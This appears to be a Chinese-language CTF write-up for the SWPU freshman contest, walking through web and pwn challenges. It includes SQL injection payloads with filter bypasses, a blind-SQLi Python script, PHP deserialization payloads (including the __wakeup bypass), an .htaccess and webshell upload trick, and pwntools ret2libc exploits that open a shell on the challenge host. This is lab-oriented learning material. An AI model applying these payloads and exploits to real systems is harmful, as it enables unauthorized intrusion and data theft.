SWPU新生赛WriteUp

news2024/11/28 19:02:27

一个线上赛,这个NSSCTF最爽的就是没有靶机操作的一分钟冷却,10.11比赛结束,但是我还要看看工控,所以不打这个比赛了,先把wp写了,pwn入门真TM艰难

WEB

前面送分题,中间的也是基础题,后面搜知识点现学现用,最后俩RCE实在做不出来

gift_F12

藏在了JS代码里,我还以为要改时间,歌还不错

caidao

太直白了,但我偏用蚁剑

jicao

基操

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

Payload:GET: ?json={"x":"wllm"} POST: id=wllmNB

Do_you_know_http

BP改包后,他出现success,要我自己跳转,不如HackBar

easy_md5

没啥说的

easy_sql

杰哥?入门sql

Payload: ?wllm=-1' union select 1,(select group_concat(flag) from test_db.test_tb),3--+

easyupload1.0

抓包改类型。经典image/jpeg,这题flag在环境变量$FLAG里

easyupload2.0

后缀改成phtml,类型image/jpeg,flag在上级目录

easyrce

先system(‘ls /’);知道了flag文件名再cat

babyrce

Cookie添加admin=1,提示rasalghul.php,进入页面过滤了空格,用 I F S 代替,先 ‘ l s IFS代替,先`ls IFS代替,先lsIFS/`看文件,再cat

送分题结束了

ez_unserialize

注释里是robots协议的格式,直接去robots看看,提示了/cl45s.php

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

简单反序列化,都不是pop链

思路1:就是生成对象,触发__construct(),它会初始化属性,然后我们之后赋值即可,销毁对象触发__destruct(),注意,销毁后不能序列化此对象了,所以我们需要在销毁前把他复制给另一个对象

exp:

<?php
class wllm{

    public $admin;
    public $passwd;

}
$a=new wllm();
$a->admin="admin";
$a->passwd="ctf";
$b=$a;
unset($a);
echo(serialize($b));

?>

思路2:直接把__construct里赋值语句改了

exp:

<?php
class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="admin";
        $this->passwd = "ctf";
    }

}
$a=new wllm();
$b=$a;
unset($a);
echo(serialize($b));

?>

Payload一样的O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

include

题目名是包含,传一下flag.php试试

只要file有值就亮源码,最后一句仍然包含了文件,伪协议读取flag.php

BASE64解码就是flag

error

输入测试,布尔盲注,能执行就有没有提示...........字符串,可以写脚本也可以直接sqlmap

自己写的脚本:

import requests

url = "http://1.14.71.254:28019/index.php"
cont = "没有提示..........."


def get_database_length():
    for i in range(1, 10):
        payload = "?id=1'and length(database())=%d --+" % i
        uri = url + payload
        result = requests.get(uri)
        if cont in result.text:
            print("数据库名长度为:%d" % i)
            return i


def get_database_name():
    name = ""
    for i in range(1, db_len + 1):
        for j in "abcdefghijklmnopqrstuvwxyz_":
            payload = "?id=1'and substr(database(),%d,1)='%s' --+" % (i, j)
            uri = url + payload
            result = requests.get(uri)
            if cont in result.text:
                name += j
    print("数据库名为:%s" % name)
    return name


def get_table_number():
    num = 0
    while 1:
        payload = "?id=0' union select 1,2,table_name from information_schema.tables where " \
                  "table_schema='%s' limit %d,1--+" % (db_name, num)
        uri = url + payload
        result = requests.get(uri)
        if cont in result.text:
            num += 1
        else:
            break
    print("表的数目为:%d" % num)
    return num


def get_table_length(n):
    for i in range(1, 20):
        payload = "?id=1' and length((select table_name from information_schema.tables where " \
                  "table_schema='%s'  limit %d,1))=%d --+" % (db_name, n, i)
        uri = url + payload
        result = requests.get(uri)
        if cont in result.text:
            return i


def get_table_names():
    names = []
    for i in range(0, tb_num):
        name = ""
        tb_len = get_table_length(i)
        for j in range(0, tb_len + 1):
            for k in "abcdefghijklmnopqrstuvwxyz_":
                payload = "?id=1' and substr((select table_name from information_schema.tables where " \
                          "table_schema='%s'  limit %d,1),%d,1)='%s' --+" % (db_name, i, j, k)
                uri = url + payload
                result = requests.get(uri)
                if cont in result.text:
                    name += k
        names.append(name)
    print(names)
    return names


def get_column_num(i):
    num = 0
    while 1:
        payload = "?id=0' union select 1,2,column_name from information_schema.columns where " \
                  "table_name='%s' limit %d,1--+" % (tb_names[i], num)
        uri = url + payload
        result = requests.get(uri)
        if cont in result.text:
            num += 1
        else:
            break
    print("第%d个表,有%d列" % (i + 1, num))
    return num


def get_column_length(i, j):
    for n in range(1, 20):
        payload = "?id=1' and length((select column_name from information_schema.columns where " \
                  "table_name='%s'  limit %d,1))=%d --+" % (tb_names[i], j, n)
        uri = url + payload
        result = requests.get(uri)
        if cont in result.text:
            return n


def get_column_name():
    names = [[] for _ in range(tb_num)]
    for i in range(0, tb_num):
        cl_num = get_column_num(i)
        for j in range(0, cl_num):
            name = ""
            cl_len = get_column_length(i, j)
            for y in range(1, cl_len + 1):
                for k in "qwertyuiopasdfghjklzxcvbnm_":
                    payload = "?id=1' and substr((select column_name from information_schema.columns where " \
                              "table_name='%s'  limit %d,1),%d,1)='%s' --+" % (tb_names[i], j, y, k)
                    uri = url + payload
                    result = requests.get(uri)
                    if cont in result.text:
                        name += k
            names[i].append(name)
    print(names)


def get_data_num(i, j):
    num = 0
    for n in range(0, 20):
        payload = "?id=0' union select 1,2,%s from %s limit %d,1 --+" % (j, i, n)
        uri = url + payload
        result = requests.get(uri)
        if cont in result.text:
            num += 1
    return num


def get_data_length(i, j, k):
    for n in range(1, 20):
        payload = "?id=1' and length((select %s from %s limit %d,1))=%d --+" % (j, i, k, n)
        uri = url + payload
        result = requests.get(uri)
        if cont in result.text:
            return n


def get_data(i, j):
    da = []
    data_num = get_data_num(i, j)
    for n in range(0, data_num):
        d = ""
        data_len = get_data_length(i, j, n)
        for z in range(1, data_len + 1):
            for k in "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890-{}":
                payload = "?id=1' and substr((select %s from %s limit %d,1),%d,1)='%s' --+" % (j, i, n, z, k)
                uri = url + payload
                result = requests.get(uri)
                if cont in result.text:
                    d += k
        da.append(d)
    print(da)


if __name__ == '__main__':
    db_len = get_database_length()
    db_name = get_database_name()
    tb_num = get_table_number()
    tb_names = get_table_names()
    get_column_name()
    while 1:
        table_name, column_name = input("输入表名列名查询数据,以空格间隔:").split()
        get_data(table_name, column_name)

因为单线程所以有点慢,写脚本是为了练

sqlmap神器

no_wakeup

可爱

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

与上一题反序列化的区别就是,反序列化时会自动调用__wakeup(),这道题当时想了很久,因为原本我的思路是wakeup调用之后再覆盖属性值,但是这个wakeup好像一直执行的样子,覆盖还是过不了,所以另一种思路,跳过__wakeup(),这是漏洞CVE-2016-7124

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

exp:

<?php

class HaHaHa{

        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="admin";
            $this->passwd = "wllm";
        }
    }

$a=new HaHaHa();
$b=$a;
unset($a);
echo(serialize($b));

?>

把生成的字符串属性改改

Payload:O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

easyupload3.0

.htaccess配合,有此文件时会把jpg解析成php文件执行,所以先传一个.htaccess,再把一句话木马改成jpg后缀传上去,蚁剑直接连jpg就行了

pop

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

这题也做了好久,思路是调用GetFlag包含flag.php,怎么调用?这个看起来只有w33m里__toString$this->w00m->{$this->w22m}();这个写法我还是第一次见。所以我们需要调用toSring,在w22m里有一句echo $this->w00m;所以把这个类对象的w00m属性定义为w33m的对象即可,之后销毁w44m对象以调用destruct

exp:

<?php

class w44m{

    private $admin = 'w44m';
    protected $passwd = '08067';

}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}

$a=new w44m();
$b=new w22m();
$b->w00m=new w33m();
$b->w00m->w00m=$a;
$b->w00m->w22m='Getflag';
unset($a);
echo serialize($b);

?>

注意,由于是受保护的属性,所以要对payload进行处理,原理在此

注意,生成的反序列化字符串里属性长度比字符串长,%00算1字长,所以长度不用改,只要在最里层类名和属性名前加%00即可,有的类名显示为*不影响

Payload:O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"%00*%00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}

PseudoProtocols

题目伪协议,进来让我找hint.ph,直接伪协议读,然后解码,提示在test2222222222222.php

<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    echo "success\n";
    echo $flag;
}
?>

很多时候做不出来,毫无思路,就是因为知识点储备不够,很多利用点即使你不知道原理会用就好,这题我搜了好久关于file_get_contents的技巧,后来发现这题是利用php://input伪协议,它在file_get_contents里,可以直接利用POST传值,这里直接POST值就行,不用写参数名

注意HackBar在POST传值时,若值是无参数名的好像传不过去,这题我纠结好久不明白全对为啥不出flag,BP抓包发现没有post值,所以遇到无参数名POST传值,最好用BP

sql

这题见招拆招,测试后发现单引号包裹,过滤了--+,用%23代替,过滤了空格,用/**/代替,过滤=,用regexp代替

测试列数

3列正常回显,4列报错,说明只有3列

测试回显点

2,3位回显

爆库+爆表

Payload:

?wllm=-1'/**/union/**/select/**/1,database(),(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema/**/regexp'test_db')%23

爆字段+爆数据

Payload:

?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp'LTLT_flag'),(select/**/group_concat(flag)from/**/test_db.LTLT_flag)%23

这里好像限制了输出20位,所以想到使用字符串截断,截取某段进行输出,但是测试后发现substrsubstringleftrightexplode都被过滤了,在php手册中找到mid函数,这个没被过滤,调整截取位置即可

第一段flag已经得到:NSSCTF{19791ad8-fbf5

第二次爆数据Payload:

?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp'LTLT_flag'),mid((select/**/group_concat(flag)from/**/test_db.LTLT_flag),17,40)%23

第二段flag:fbf5-4e14-bda6-e1b0a

第三次爆数据Payload:

?wllm=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp'LTLT_flag'),mid((select/**/group_concat(flag)from/**/test_db.LTLT_flag),30,50)%23

第三段flag:6-e1b0a3e10da0}

连接起来就行

PWN

pwn入门,编译原理+数据结构+二进制漏洞头疼,5道pwn做出了3道,步骤简单,但有时候一句代码原理纠结一两天

nc签到

nc一堆乱码,IDA打开附件看看

这是我第一次用到IDA的Hex View,大致意思是黑名单里有一些指令,接收用户输入,如果输入值里含有黑名单里的值,就退出程序,否则就执行,过滤了基本指令和空格,flag一般都在根目录下,tac$IFS/flag即可

有时候这个bash输入啥都不回显,关掉重新nc即可

gift_pwn

标准操作

运行也就一个输入,IDA打开

就一个vuln()函数,左边列表有gift,是个后门函数,后面会用到,进入vuln函数

明显的栈溢出,然后打开gift函数的汇编

payload也就是16个填充栈的字符+8字节填充ebp寄存器+ /bin/sh的地址

exp:

from pwn import *
io=remote('1.14.71.254',28090)
bin_sh_addr=0x00000000004005C4
payload=b'A'*(16+8)+p64(bin_sh_addr)
io.sendline(payload)
io.interactive()

whitegive_pwn

理解好久那个函数偏移量,我理论没错啊,但是exp没用,后来请教了许多pwn佬,才基本理解,总的来说,比上题少了后门,连字符串都没有,所以需要使用ROP(返回导向编程),这个返回导向我感觉就是用碎片做跳板ret到下一个链子,但是学的时候又有参数,搞得乱了,这题exp能写出来,还是练得少

检查文件

没开PIE万幸

这次的“gift”是puts函数,用这个函数去输出puts真实地址

整体思路就是,溢出,rop碎片跳转,put的got地址,这一步说是为了初始化,但我感觉是为了调用puts。然后连接puts的plt地址,这个就是参数,程序只有一句输入就结束了,后续操作需要再次运行程序,所以加上main函数地址

随后对返回的puts地址切片填充处理,查找相应libc,计算出libc基址,根据基址计算出system函数以及字符串“\bin\sh”地址。再次发送溢出payload get shell

exp:

from pwn import *
from LibcSearcher import *
p=remote('1.14.71.254',28132)
e=ELF('./pwn3')
put_plt=e.plt['puts']
put_got=e.got['puts']
main_add=e.sym['main']
rdi_add=0x0000000000400763
p.sendline(b'a'*0x18+p64(rdi_add)+p64(put_got)+p64(put_plt)+p64(main_add))
d=p.read()[:-1]
d=u64(d.ljust(8,b'\x00'))
libc=LibcSearcher('puts',d)
off=d-libc.dump('puts')
sys_add=off+libc.dump('system')
bin_add=off+libc.dump('str_bin_sh')
p.sendline(b'a'*0x18+p64(rdi_add)+p64(bin_add)+p64(sys_add)+p64(main_add))
p.interactive()

这里有个要注意的地方,做pwn题的时候由于环境不同,会发生本地通远程不通,远程通本地不通,甚至是两台电脑一台通另一台不通的情况。我这次碰到的问题是libc的问题,我本地查找libc以及在线查找libc显示6个libc库,而且不能用,我一直以为是我没更新,折腾一晚上,各种版本的libc-database轮番下载安装,甚至github找了台做pwn题的虚拟机。后来才发现只要我连靶机就会有另一套libc,吐了,下次不给libc的题就是sb,对pwn新手极其不友好

到这里吧,以后有机会更新的话再更新,还要恶补工控CTF,工控的流量分析,图纸,各种通信协议太难了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/331385.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SQL概述及数据定义

文章目录一、SQL概述1.简介2.特点3.组成4.SQL分类5.书写规范二、数据定义1.模式的定义与删除①定义模式②删除模式2.基本表的定义、删除与修改①定义基本表②数据类型③模式与表④修改基本表⑤删除基本表3.索引的建立与删除①建立索引②删除索引一、SQL概述 1.简介 SQL (Stru…

使用IDA查看汇编代码上下文去辅助排查C++软件异常问题

目录 1、概述 2、汇编指令能最直接反映异常崩溃的原因 2.1、查看异常Code码及对应的异常类型 2.2、查看发生崩溃的那条汇编指令 3、阅读汇编代码上下文需要掌握一定的基础汇编知识 4、Windbg中显示的函数调用堆栈中的C代码行号&#xff0c;和最新的代码对不上了 5、Wind…

openGL学习之GLFW和GLAD的下载和编译

背景:为什么使用GLFW和GLADOPenGL环境 目前主流的桌面平台是GLFW和GLAD之前使用的GLUT和Free GLUT已经基本淘汰了&#xff0c;所以记录一下如何下载GLFW和GLAD并且编译.GLFW下载:An OpenGL library | GLFW复制到你想存放的位置,我这里就存放到C盘Libaray文件夹下了,这里是我存放…

算法训练营 day37 贪心算法 K次取反后最大化的数组和 加油站 分发糖果

算法训练营 day37 贪心算法 K次取反后最大化的数组和 加油站 分发糖果 K次取反后最大化的数组和 1005. K 次取反后最大化的数组和 - 力扣&#xff08;LeetCode&#xff09; 给你一个整数数组 nums 和一个整数 k &#xff0c;按以下方法修改该数组&#xff1a; 选择某个下标…

Eclipse 版本升级记录

前言 Eclipse 不是不能在线升级&#xff0c;至少没有找对方法&#xff0c;下面就让我来一步一步带你学会它、使用它吧! 一、概念 Eclipse主要分为两个概念&#xff0c;一个是在线升级 Eclipse 新版本&#xff0c;另一个是在线升级 Eclipse 插件&#xff0c;这两个是有很大区…

【记录】ChatGPT使用记录

文章目录2023年02月08日数学哲学Java其他2023年02月09日ChatGPT网络根据对话的日期、问题的类型进行整理 2023年02月08日 数学 感想&#xff1a;数学应该没啥问题&#xff0c;感觉只要自然语言没理解错了&#xff0c;剩下就不是事 积分 代数 哲学 哲学问题的回答就属于模棱…

JetpackCompose从入门到实战学习笔记7—Dialog的简单使用

JetpackCompose从入门到实战学习笔记7—Dialog的简单使用 1.Dialog对话框 Dialog的参数如下: Composable fun Dialog(onDismissRequest: (() -> Unit)?, //关闭对话框的回调properties: DialogProperties! DialogProperties(), //自定义对话框的属性content: ( Compose…

智能无障碍轮椅——汇总

文章目录一、设计内容二、控制理论三、材料列表四、控制图五、硬件介绍1、TB6612FNG电机驱动模块2、DX-BT04 2.0蓝牙模块3、MPU6050陀螺仪模块4、电源模块5、520编码器直流减速电机六、PID理论与算法控制七、代码解析八、参考博文一、设计内容 使用 STM32 作为主处理器进行开发…

Web3.0:互联网新阶段

Web3.0 定义&#xff1a;从后端生产关系革新开始。 Web3.0 是结合了去中心化和代币&#xff08;Token&#xff09;经济学等概念&#xff0c;基于区块链技术的全新的互联网迭代方向&#xff0c;意在解决 Web2.0 带来的生态不平衡、发展不透明等问题。与 AR/VR 等前端创新相比&am…

oracle外键约束、级联删除

根据约束名称查询&#xff1a;select * from user_constraints t where t.CONSTRAINT_NAME 约束名称举例&#xff1a;字段解析&#xff1a;1、CONSTRAINT_NAME&#xff1a;约束名称。2、CONSTRAINT_TYPE&#xff1a;约束类型。3、TABLE_NAME&#xff1a;约束所在的表。4、R_CO…

FreeModbus RTU 移植指南

FreeModbus 简介 FreeModbus 是一个免费的软件协议栈&#xff0c;实现了 Modbus 从机功能&#xff1a; 纯 C 语言支持 Modbus RTU/ASCII支持 Modbus TCP 本文介绍 Modbus RTU 移植。 移植环境&#xff1a; 裸机Keil MDK 编译器Cortex-M3 内核芯片&#xff08;LPC1778/88&…

Intel x86_64 PMU简介

文章目录前言一、性能监控概述二、CPUID information三、架构性能监控3.1 架构性能监控 Version 13.1.1 架构性能监控 Version 1 Facilities3.1.2 预定义的体系结构性能事件3.1.3 cmask demo测试参考资料前言 Intel 64 和 IA-32 架构提供了 PMU&#xff08;Performance Monito…

Oracle Data Guard Apply服务

1. Apply服务介绍 Apply服务自动应用redo到备数据库来保持与主数据库的同步和允许事务一致性访问数据。 缺省情况下&#xff0c;Apply服务等待备redo日志文件进行归档&#xff0c;然后再应用归档日志文件包含的redo。然而&#xff0c;可以启用实时Apply&#xff0c;允许当前的…

CentOS8基础篇2:文件系统

一、文件系统概述 1.文件系统的基本概念 操作系统中负责管理和存储文件信息的软件机构称为文件管理系统&#xff0c;简称文件系统。它规定了文件的存储方式及文件索引方式等信息。文件系统主要由三部分组成&#xff0c;分别是与文件管理相关的软件、被管理的文件和实施文件管…

ip-guard如何查看客户端连接的服务器IP地址?

在客户端上通过“运行”输入win.ini打开文件(在目录C:\\Windows\\),可以从里面找到一个字段SIP,比如SIP=3232237616 再将其换算成16进制数为c0a80830

每天10个前端小知识 【Day 8】

前端面试基础知识题 1. Javascript中如何实现函数缓存&#xff1f;函数缓存有哪些应用场景&#xff1f; 函数缓存&#xff0c;就是将函数运算过的结果进行缓存。本质上就是用空间&#xff08;缓存存储&#xff09;换时间&#xff08;计算过程&#xff09;&#xff0c; 常用于…

在CANoe/CANalyzer中给CAN Log.asc/blf文件“瘦身”

案例背景&#xff08;共7页精讲&#xff09;&#xff1a; 该篇博文将告诉您&#xff0c;如何给离线文件CAN Log.asc/blf文件“瘦身”&#xff1a;批量删除/过滤 CAN Log中&#xff0c;不需要的CAN ID和CAN channel。 目录 1 准备工作 2 插入CAN Filter 3 保存“瘦身” 后的…

一种RK3399+MIPI+FPGA的高速工业相机的设计方案(一)

目 前 &#xff0c; 嵌 入 式 相 机 逐 渐 代 替 了 传 统 相 机 进 入 大 众 的 视 野 &#xff0c; 应 用 在 公 安 刑 侦 、 生 物 医 学和 文 物 保 护 等 诸 多 领 域 。 但 是 随 着 人 们 对 图 像 视 觉 成 像 质 量 追 求 的 提 升 &#xff0c; 图 像 传 感 器 的 特…

ESP32S3系列--SPI主机驱动详解(一)

一、目的SPI是一种串行同步接口&#xff0c;可用于与外围设备进行通信。ESP32S3自带4个SPI控制器外设&#xff08;Master&#xff09;&#xff0c;其中SPI0/SPI1内部专用,共用一组信号线,通过一个仲裁器访问外部Flash和PSRAM&#xff1b;SPI2/3各自使用一组信号线&#xff1b;开…

【C++】二叉树的前序中序后序非递归实现

文章目录二叉树的前序遍历二叉树的中序遍历二叉树的后序遍历总结二叉树的前序遍历 前序遍历的顺序是根、左、右。任何一颗树都可以认为分为左路节点&#xff0c;左路节点的右子树。先访问左路节点&#xff0c;再来访问左路节点的右子树。把访问左路节点的右子树看成一个子问题…